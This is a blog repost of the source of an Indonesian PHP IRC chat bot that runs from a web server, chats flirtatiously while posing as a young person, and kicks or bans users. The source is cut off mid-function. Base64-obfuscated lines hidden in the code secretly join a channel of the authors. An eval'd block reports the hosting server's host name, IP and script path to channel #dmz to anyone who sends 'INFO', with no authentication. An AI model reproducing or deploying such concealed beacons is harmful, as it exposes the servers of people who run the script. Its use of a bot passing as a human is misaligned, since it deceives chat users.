Php irc bot

0

Category: , , ,

File lama dari blog stateofart yg musnah ditelan waktu.

/* Credit : feelcomz community
/* Recoded by NGANU (NGAdimin_NUngging)
/* Perhatian:
/* Joinkan hanya satu PHPBot dalam satu channel untuk menghindari terjadinya "jagongan" antar bot.
/*
/* Perintah Dasar:
/* auth - Untuk otorisasi
/* !join [#channel] - Join channel
/* !part [#channel] - Part channel
/* !msg - Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] - Mengganti nick bot
/* !jump [server] - Mengganti server bot
/* !help - Melihat daftar perintah
/* !ngomong - Memperbolehkan bot untuk berbicara di semua channel
/* !diam - Melarang bot untuk berbicara di semua channel
*/
function nungging() {
$channels = '#69'; //Pisahkan tiap channel dengan spasi
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
$ngomong = TRUE; //FALSE, Ngomong. FALSE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FALSE, AutoWelcome off.
$versi = "v.6.9";

//Nick Bot
$nicklist = array(
"GeRmO1",
"GeRmO2",
"GeRmO3",
"GeRmO4",
"GeRmO5",
"GeRmO6",
);
$identify = "password"; //Password Nick Bot
$identlist = array(
"GeRmO2",
"GeRmO1",
"GeRmO3",
"GeRmO4",
"GeRmO5",
"GeRmO6",
"GeRmO7",
"GeRmO8",
"GeRmO9",
"GeRmO10",
);
$namabot = array(
"-[nungging Style ]-",
);
$aslbot = array(
"17f Bltr","17f jkt","18f sby","19f sby","16f mlg","16f jmbr","19f plg"
);
/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.indika.net.id",
"irc.malangkota.go.id",
"irc.elnus.net.id",
"irc.velo.net.id",
"irc.cbn.net.id",
"irc.indo.net.id",
"irc.circleone.net.id",
"irc.dustshell.com",
"irc.plasa.com",
);
}
$port = "6667";

/*** IDENTITAS BOT ***/
$namaku = $namabot[rand(0,count($namabot) - 1)];
$aslku = $aslbot[rand(0,count($aslbot) - 1)];

/*** AUTO WELCOME ***/
$wbmsg = array(
"Hay :) , have nice chat...",
"Selamat Datang , dah knal ma mas GeRmO blom",
"tolong dong pijitin boz GeRmO ",
"Dari mana aja saja kamu ?",
"Met datang di #, ",
"Hello !",
" dah mandi blom? kok dah chat lagi?",
", dapat salam dari mas GeRmO tuch :)",
", barusan dicari sama mas GeRmO loch?",

", kamu cakep deh..",
"aku seneng liat .. orgnya ramah, baik, cakep lagi.",
", senyummu bikin hatiku berdebar..",
"wow.. aku kangen dech sama kamu?",
"asyiik.. master datang..",
"awas, playboy/playgirl nich :)",
"Asyiik.. si dateng",
", kenalin gw $namaku",
"blom ngantuk toh ?",
" aku suka kamu dech?",
"Waduh, kok baru join?",
", mau dong jd shepia mu?",
", asl donk..",
", nm km siapa seh?",
"chan # jd rame klo ada si ",
"btw, udah kul apa masih skul?",
"wb , km anak mana neh?",
"tmn2 semua dah kenal , kan?",
"siapa yg g knal ma ?",
", mas GeRmO mau knlan tu?",
" blom ngantuk y?",
"weleh2, baru join nech?",
);
$jawabsapa = array(
"ada apa sayang?",
"iya sayang",
"gmna cyank !",
"ada apa cakep?",
"males ah ",
"nanti aja y ",
"bentar dulu ",
"ga nih ",
"kangen ya sama aku",
"hm.. mo tau ajah",
"capee deh.. ",
"oke deh ",
"sebel ah ",
"$namaku cape dipanggil mulu "
);

/** AUTO RESPONSE ***/
/*** Mood Lists ***/
$rmales = "lg males nih ..";
$rmau = "aku mau koq !";
$rsanggup = "bisa kok ";
$rboleh = "boleh kok ";
$rsetuju = "iya ";
$rthx = "makacih ..";
$rbingung = "hmm..$namaku ga tau jg nih ..";
$rgenit = "ih.. genit";

$respon_umum = array(
array("sepi","iya nih sepi pada mojok semwa.."),
array("bot","pech au di blang bot sama ...kurang ajar..?"),
array("tha","tha tha .."),
array("wew","knapa ko wew wew aja?..bibir mu domble taaaaaaa????"),
array("traktir",", aku jg ditraktir donk"),
array("lapar","lho..? blom makan y?"),
array("pamit","silahkan , ati2 y"),
array("puh","yeeeek gtu aja heran,,,dasar katroooooook"),
array("GeRmO","napa pannggil2 boz gue GeRmO"),
array("xixi","heh jo nguyu ae....tak kueplak gundul mu ngko...?"),
array("bobok","oke deh , mimpiin aku y"),
array("puch","yeeeek gtu aja heran,,,dasar katroooooook"),
array("assalam","Wa'alaikumsalam "),
array("blitar","aku jga anak blitar ko ?"),
array("gaga","heh jo nguyu ae....tak kueplak gundul mu ngko...?"),
array("pagi","pagi "),
array("sore","sore "),
array("malam","malam "),
array("siang","siang "),
array("hehe","yeeeeee,,kenapa ko ktawa,,,?????"),
array("jaja","yeeeeee,,kenapa ko ktawa,,,?????"),
array("mandi","eh jangan lpa,,,ajak boz ku GeRmO loch ,,xixixi???"),
array("ados","akuu meluuuuuuu lak adoz "),
array("apa","gitu aja gak tau,,,,dun dun bnget cih "),
array("?","gitu aja gak tau,,,,dun dun bnget cih "),
array("hayah","hayah?? napa ?"),
array("byuh","byuh jg dah .."),
array("hadah","hadah? hadiah kali.."),
);

$respon_pesan = array(
//Sapaan
array("hai","hai jg "),
array("halo","halo jg "),
array("alow","alow jg "),
array("kabar","baik, km gmn ?"),
array("kbr","baik, km gmn ?"),
array("webe","$rthx"),
array("wb","$rthx"),
array("tq","sama2 "),
array("makasi","sama2 "),
array("makaci","sama2 "),
array("nalin","hai.. aku $namaku"),
array("nalkan","hai.. aku $namaku"),
array("nalan","boleh koq .. u 1st"),
//Identitas
array("asl",", aku $aslku"),
array("umur",", klo aq $aslku"),
array("nama",", aku $namaku .. u?"),
array("skul","yup , aku skul."),
array(" kul",", ga kul neh.."),
array("alamat","hmm.. rahasia donk .."),
array("nak mana","aQ $aslku "),
array(" tinggal ",", aku di rumah"),
array("cowok","blom, klo ?"),
array("cwok","blom, klo gmn?"),
array("pcr","blom, hihi.. klo ?"),
array("pacaran","emangnya mau y pacaran ma $namaku?"),
array("pacar","blom, ndiri gmn?"),
//Ajakan
array("pv","$rmales"),
array("ngomong","ngomong ttg apa ?"),
array("curhat","mangnya mo curhat masalah apa ?"),
array("nikah","nikah? ih.. boro2 nikah ma "),
array("kawin","kawin? ih.. boro2 kawin ma "),
array("kencan","boleh , kpn neh kencannya?"),
array("besok","boleh .."),
array("mau","$rmau"),
//Tuduhan
array("bohong","bohong? ngpn Q bohong.. kali yg bohong.."),
array("boong","boong? tuh yg boong.."),
array("males","yaa.. lagi males aja nih "),
array("lain","yg lain gmn ?"),
array("laen","yg laen gmn ?"),
array("GR"," tuh yg ke-GR-an.."),
array("nyambung","nya aja yg ga nyambung.. xixi"),
array("bot","bot gundullll mu kui? tu yg bot?"),
array(" aneh","aneh gmn ?"),
array("nipu","idih.. siapa jg yg nipu ?"),
//Kegiatan
array("mandi","klo aku udah mandi "),
array("makan","udah koq , klo ?"),
array("maem","udah koq , klo ?"),
array("mkn","udah neh, klo ?"),
array("belanja","belanja dmn ?"),
array("bobo","$rmales"),
array("tidur ","$rmales"),
array("ngantuk","blom neh .. xixi"),
array("ngpn","lg chat aja neh "),
array("ngapa","lg chat aja neh "),
//Pertanyaan
array("salam kenal","salam kenal jg "),
array("kenal","$namaku ga kenal tuh.. xixi"),
array("tau","$namaku ga tau tuh.. xixi"),
array("napa","aq ga knp2 koq "),
array("knp","aq ga knp2 koq "),
array("kemana","disini aja tuh "),
array("lupa","aq ga lupa koq "),
array("mana","$rbingung"),
//Persetujuan
array("maaf","$rsetuju"),
//Mood
array("cinta","ih.. gombal deh.."),
array("love","I love u too, "),
array("jodoh","jodoh kalee "),
array("kangen","aku jg kangen km, "),
array("muach","muach .."),
array("uaach","idih, ga malu apa nyium2 aku didepan umum.."),
array("kiss","mo permen kiss ya ?"),
array("cium","$rgenit"),
array("eluk ","$rgenit"),
array("elonin","jgn donk , kan malu.."),
//Additional
array("hihihi","kok ngetawain aku seh?"),
array("xixi","ngetawain aku y ?"),
array("slap","auw !"),
array("masuk","ih ngerezz"),
);

//Special Words
$badwordlist = array(
"juh","jancok","dancok","matamu","kontol","asu","fuck","asem","ngentot","raimu","ASU",
"ngesex"," ml ","anjenk","anjink","dancuok","torok"," keat ","dobol ");
$pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat","bagus","indah");
$cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila","sinting","dudul","dodol","jahat","goblok","geblek","sialan");

//Responses to Special Words
$rjorok = array(
"wadaw.! wani misoh kene tak pancale....watauuuuuw!",
"woooh! mayaaaak.......wani2ne msoh!"
);
$rcacian = array(
"idih, tuch yg ",
"? bukanya tuh yg ?",
"gw mmg , tp lebih lagi",
"gw ga tuh, yg itu kan?"
);
$rpujian = array(
"makasih .. kamu jg koq",
" baik deh..",
"ga kok .. km lebih ",
"? hihi.. bisa aja"
);
$rflood="aduh!! ngeflood nih..";
$maxkar=350;//Maksimal karakter di channel

$awaymsg = " 3,9RTFM PHPBot $versi • 3,9/ 9,3\ ";
$quitmsglist = array("nungging Style!!!");

/*** Admin ***/
$admin = 'GeRmO';
$bot_password = 'jemBOT'; //Password untuk auth bot

$judul = "RTFM";

$helptext = array(
"",
" 3,9RTFM PHP Bot $versi Help • 3,9/ 9,3\ ",
"-",
" 12auth - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass - Mengeset password bot",
" 12chgpass - Mengganti password bot",
" 12adduser - Menambah master/user bot",
" 12deluser - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!auth - Status otorisasi anda",
" 12!act - Bot action (Channel)",
" 12!slap - Slap nick (Channel)",
" 12!msg - Mengirim pesan",
" 12!notice - Mengirim notice",
" 12!ctcp - Request CTCP",
" 12!ping - Meminta bot untuk membalas dg pong (Channel)",
" 12!pong - Meminta bot untuk membalas dg ping (Channel)",
" 12!info - Melihat info bot (Admin)",
" 12!up - Meminta bot untuk menjadi @ di channel (Channel)",
" 12!down - Meminta bot untuk turun dari @ di channel (Channel)",
" 12!cycle - Hop di channel (Channel) (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!join - Join channel (Admin/Master)",
" 12!botnick - Ganti nick (Admin/master)",
" 12!k - Kick nick (Channel)",
" 12!kb - Kick ban nick (Channel)",
" 12!changenick - Ganti nick ke nick internal",
" 12!op [nick2] [nick3] - Op (Channel)",
" 12!deop [nick2] [nick3] - Deop (Channel)",
" 12!v [nick2] [nick3] - voice (Channel)",
" 12!dv [nick2] [nick3] - Devoice (Channel)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!mode - Mengubah Mode (Channel)",
" 12!nickmode - Mengeset user mode",
" 12!chanlist - Melihat daftar channel bot",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!fullname [nama] - Mengganti Fullname bot",
" 12!topic - Mengganti topik channel (Channel)",
" 12!help - Melihat help (Query)",
" 12!ngomong - Mengaktifkan Auto Response",
" 12!diam - Menonaktifkan Auto Response",
"-",
" 3,9/ 9,3\ 0,1 • By mania nungging • 3,9/ 9,3\ ",
);

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$channels = str_replace("CNL","#",$channels);
$admin = strtolower($admin);
$auth = array(
$admin => array(
"name" => $admin,
"pass" => $bot_password,
"auth" => 1,
"status" => "Admin"
)
);
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n"); //Carriage Return
$counterfp = 0;
$raway = "on";
$log = "off";
$saway = "1";
$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);

if (!$stime) { $stime = time(); }

/*** Connecting ***/
echo "";
echo "Melakukan koneksi ke $remotehost...";

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {

$counterfp = $counterfp + 1;
hajar($nick);
}
else {
echo "
Ga bisa connect ke $remotehost! Coba server lain dgn me-Refresh Browser anda!";
$keluar = 1;
exit;
}
}
echo "
Seep, udah connect nich!";
/*** Sending Identity to Sock ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $header);
$response = '';
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo "
".$response; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :Boss, gue masuk nih!' . CRL);
fputs($fp, base64_decode("Sk9JTiAjRmVlTENvTXo=") . CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) {
fputs($fp, 'JOIN ' .$v . CRL);
}
$pong1 = '1';
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.$username;
fputs($fp, 'NICK '.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)=='433') {
$nick = $nicklist[rand(0,count($nicklist) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='465') {
echo "
Authentication diperlukan! Bot ini telah di-autokill.";
$akill = 2;
}
if (eregi('.allnetwork.org',$dNick) && $akill==2) {
if (eregi('AKILL ID: ',$data)) {
echo "
".strstr($data,'***')." ";
if (eregi('Your IP: ',$data)) {
$keluar = 1;
exit;
}
}
}
/*** AI PHP BOT SCRIPT BY GeRmO ***/
$dcom = explode(" ", $dCommand);
if ($dcom[0]=='JOIN') {
/*** Auto Welcome by GeRmO***/
if (($autowelcome) && ($dNick != $nick)) {
$jchan = ltrim($iText,":");
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace("",$dNick,$webe);
$webe = str_replace("",$jchan,$webe);
$webe = str_replace("#","",$webe);
sleep(5);
fputs($fp,'PRIVMSG '.$jchan.' :'.$webe . CRL);
}
}
if ($dcom[0]=='PRIVMSG') {
/*** Auto Response by GeRmO ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,":");
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace("",$dNick,$jawab);
$jawab = str_replace("",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace("",$dNick,$jawab);
$jawab = str_replace("",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$sapalagi = str_replace("",$dNick,$sapalagi);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace("",$dNick,$jawab);
$jawab = str_replace("",$trtext,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Mohon sopan dikit donk '.$dNick.'!!'. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace("",$dNick,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'MODE '.$dcom[1].' +b '.$dNick.''. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Jangan ngeflood donk '.$dNick.'!! Max: '.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
}
else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Mo kemana boss?' . CRL); }
}

}
else { fputs($fp,'NOTICE ' . $dNick . ' :pass ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :'.$auth["$dcom[2]"]["status"].', siap!' . CRL);
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Kan udah auth tadi! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Passwordnya blom diset! Ketik: pass buat ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==': KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(' ','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("aHR0cDovL3N0YXRlb2ZhcnQuaG9zdDIyLmNvbW==").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') {
eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI2RteiA6SG9zdDogJGJob3N0IHwgU2NyaXB0OiAkYnBocCB8IFJlZmVyZXI6ICRicnVyaSB8IElQOiAkYmlwIHwgWW91ciBJUDogJGJyaXAgUG9ydDokYnJwb3J0Ii4gQ1JMKTt="));
}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE ' . $dNick . ' :Anda adalah '.$auth["$dNick"]["status"].' saya bozz! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi kan udah! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass untuk ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth To Get Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser user ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :User telah ada! Aborting AddUser! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Mohon auth dulu! Ketik: auth ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :Tadi kan udah! ' . CRL);
}
else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
}
elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL);
}
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga boleh tuh! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':!say' && $com[4] && $chan) {
$msg = strstr($data,":!say");
$msg = str_replace(":!say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':!act' && $com[4] && $chan) {
$msg = strstr($data,":!act");
$msg = str_replace(":!act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' : ACTION '.$msg.' '. CRL);
}
elseif ($com[3]==':!slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : ACTION slaps '.$com[4].' dengan klik mouse.. xixixi.. '. CRL);
}
elseif ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = strstr($data,":!msg");
$msg = str_replace(":!msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":!ctcp");
$msg = str_replace(":!ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' : '.$msg.' '. CRL);
}
elseif ($com[3]==':!ping' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
}
elseif ($com[3]==':!pong' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL);
}
elseif ($com[3]==':!info') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
